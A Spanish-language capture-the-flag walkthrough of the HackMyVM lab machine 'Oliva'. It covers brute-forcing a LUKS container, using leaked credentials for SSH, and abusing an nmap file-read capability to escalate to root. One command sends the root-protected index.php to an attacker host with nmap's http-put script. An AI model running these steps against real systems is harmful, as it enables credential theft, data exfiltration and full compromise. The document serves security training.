HackMyVM - Oliva
- Brute Force LUKS File
- Leaked Credentials
- Nmap Capabilities Exfiltrate Files
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 6d847114037d7ec86fdd2492a88ef7e9 (ECDSA)
|_ 256 d85e39879ea1a6759a2878ce84f7057a (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 hay un servidor nginx.
Enumerando por extensiones encuentro el index.php
.
❯ gobuster dir -u http://192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.14
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php
[+] Timeout: 10s
===============================================================
/index.php (Status: 200) [Size: 69]
En el index.php
veo el siguiente mensaje, si le doy click me descarga una archivo con el nombre oliva.
Con file veo que el archivo oliva es un archivo LUKS.
❯ file oliva
oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offse
Intento abrir el archivo pero me pide una contraseña.
❯ sudo cryptsetup luksOpen oliva oliva-file
Introduzca la frase contraseña de oliva:
Si intento usar la herramienta lucks2john
me muestra lo siguiente:
❯ luks2john oliva > haash_oliva
oliva : Only LUKS1 is supported. Used version: 2
Gracias a la ayuda de PL4GU3 descargo esta herramienta, sigo el readme para instalarla en mi equipo y para encontrar la contraseña he usado la siguiente sintaxis:
❯ ./bruteforce-luks -t 8 -f /usr/share/wordlists/rockyou.txt oliva
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Tried passwords: 967
Tried passwords per second: 1,965447
Last tried password: pollito
Password found: b****a
Abro el archivo luks de la siguiente forma:
❯ sudo cryptsetup luksOpen oliva oliva_file
Introduzca la frase contraseña de oliva:
Una vez que se crea el mapeo, puedo acceder al contenido descifrado a través del dispositivo mapeado. Por lo general, se encuentra en /dev/mapper
.
❯ ls /dev/mapper
control oliva_file
Para acceder al contenido creo un directorio en /tmp
y luego monto el dispositivo mapeado.
❯ sudo mkdir /tmp/o_files
❯ sudo mount /dev/mapper/oliva_file /tmp/o_files
Veo que existe un archivo de texto con el nombre mypass.txt
.
❯ ls /tmp/o_files
lost+found mypass.txt
Obtengo las credenciales de Oliva.
❯ cat /tmp/o_files/mypass.txt
Yesthatsmypass!
Me conecto al sistema como usuaria Oliva.
❯ ssh oliva@192.168.1.14
oliva@192.168.1.14's password:
Linux oliva 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64
oliva@oliva:~$
Enumero las capabilities y encuentro el binario nmap.
olive@oliva:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/nmap cap_dac_read_search=eip
En gtfobins encuentro lo siguiente.
A partir de aquí se puede obtener las credenciales de root de dos formas, una es según PL4GU3 leyendo el archivo /root/.mysql_history y la otra es la siguiente.
En la máquina victima pongo la ruta del fichero index.php
ya que con el usuario oliva no tenemos permisos de lectura y eso me ha llamado la atención.
oliva@oliva:~$ nmap -p 8080 192.168.1.18 --script http-put --script-args http-put.url=/,http-put.file=/var/www/html/index.php
En la máquina atacante puedo leer el archivo y encuentro las credenciales para conectarme al servidor mysql.
Verifico puertos internos.
oliva@oliva:~$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
Me conecto al servidor mysql.
oliva@oliva:~$ mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 46935
Server version: 10.11.3-MariaDB-1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Listo las bases de datos.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| easy |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
Listo las tablas de la db easy, dentro de easy hay la tabla logging y dentro de logging hay las credenciales de root.
MariaDB [(none)]> use easy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [easy]> show tables;
+----------------+
| Tables_in_easy |
+----------------+
| logging |
+----------------+
MariaDB [easy]> select * from logging;
+--------+------+--------------+
| id_log | uzer | pazz |
+--------+------+--------------+
| 1 | root | O*********y! |
+--------+------+--------------+
Obtengo el root.
oliva@oliva:~$ su root
Contraseña:
root@oliva:/home/oliva# id
uid=0(root) gid=0(root) grupos=0(root)
Y aquí termina la máquina Oliva.
Saludos!